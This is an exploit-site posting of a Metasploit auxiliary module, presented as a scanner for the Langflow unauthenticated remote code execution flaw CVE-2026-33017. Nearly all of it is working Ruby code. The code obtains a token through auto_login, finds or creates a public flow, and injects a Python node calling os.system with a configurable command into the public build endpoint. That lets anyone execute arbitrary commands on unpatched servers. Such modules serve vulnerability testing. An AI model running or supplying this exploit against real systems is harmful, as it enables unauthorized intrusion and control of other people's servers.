Share
## https://sploitus.com/exploit?id=PACKETSTORM:218139
==================================================================================================================================
| # Title : Langflow 1.8.1 Unauthenticated RCE Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.langflow.org/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module scans Langflow instances for the CVE-2026-33017 vulnerability, an unauthenticated Remote Code Execution (RCE) affecting versions โค 1.8.1.
[+] The module works by:
Attempting to obtain an authentication token via the auto_login endpoint
Locating or creating a public flow
Injecting a malicious Python component into the flow
Triggering execution through the API
Determining vulnerability based on successful execution indicators (e.g., job creation)
[+] POC :
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow CVE-2026-33017 Scanner',
'Description' => %q{
Scan Langflow instances for unauthenticated RCE (CVE-2026-33017).
},
'License' => MSF_LICENSE,
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-33017']
],
'DisclosureDate' => '2026-03-30'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('TEST_COMMAND', [false, 'Command', 'echo VULN_TEST']),
OptString.new('FLOW_ID', [false, 'Public flow ID', nil]),
OptBool.new('AUTO_LOGIN', [true, 'Use auto_login', true]),
OptBool.new('CLEANUP', [true, 'Delete created flow', true])
])
end
def run_host(ip)
print_status("Scanning #{rhost}:#{rport}")
flow_id = datastore['FLOW_ID']
token = nil
flow_created = false
if datastore['AUTO_LOGIN']
token = get_auth_token
end
if flow_id.nil?
if token
flow_id = find_public_flow(token)
if flow_id.nil?
flow_id = create_public_flow(token)
flow_created = true if flow_id
end
else
print_error("No token and no FLOW_ID")
return
end
end
if flow_id.nil?
print_error("Failed to obtain flow_id")
return
end
test_cmd = datastore['TEST_COMMAND']
success = send_exploit(flow_id, test_cmd, token)
if success
print_good("#{rhost}:#{rport} VULNERABLE")
report_vulnerability(flow_id)
else
print_status("#{rhost}:#{rport} Not vulnerable")
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} Connection failed")
ensure
if flow_created && datastore['CLEANUP'] && token && flow_id
delete_flow(flow_id, token)
end
end
def get_auth_token
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/auto_login')
)
return nil unless res&.code == 200
json = res.get_json_document rescue nil
json ? json['access_token'] : nil
end
def find_public_flow(token)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'),
'headers' => { 'Authorization' => "Bearer #{token}" }
)
return nil unless res&.code == 200
flows = res.get_json_document rescue nil
return nil unless flows.is_a?(Array)
flows.each do |f|
return f['id'] if f['access_type'] == 'PUBLIC'
end
nil
end
def create_public_flow(token)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'),
'headers' => {
'Authorization' => "Bearer #{token}",
'Content-Type' => 'application/json'
},
'data' => {
name: "scanner-#{Rex::Text.rand_text_alpha(6)}",
data: { nodes: [], edges: [], viewport: {} },
access_type: 'PUBLIC'
}.to_json
)
return nil unless res&.code == 200
json = res.get_json_document rescue nil
json ? json['id'] : nil
end
def delete_flow(flow_id, token)
send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, "api/v1/flows/#{flow_id}"),
'headers' => { 'Authorization' => "Bearer #{token}" }
)
end
def build_exploit_payload(cmd)
{
data: {
nodes: [{
id: Rex::Text.rand_text_uuid,
type: 'genericNode',
data: {
node: {
template: {
code: {
value: "__import__('os').system('#{cmd}')"
}
}
}
}
}]
}
}
end
def send_exploit(flow_id, command, token = nil)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"),
'ctype' => 'application/json',
'data' => build_exploit_payload(command).to_json
)
return false unless res&.code == 200
json = res.get_json_document rescue nil
json && json['job_id']
end
def report_vulnerability(flow_id)
report_vuln(
host: rhost,
port: rport,
name: name,
info: "Vulnerable to CVE-2026-33017 (flow_id=#{flow_id})"
)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================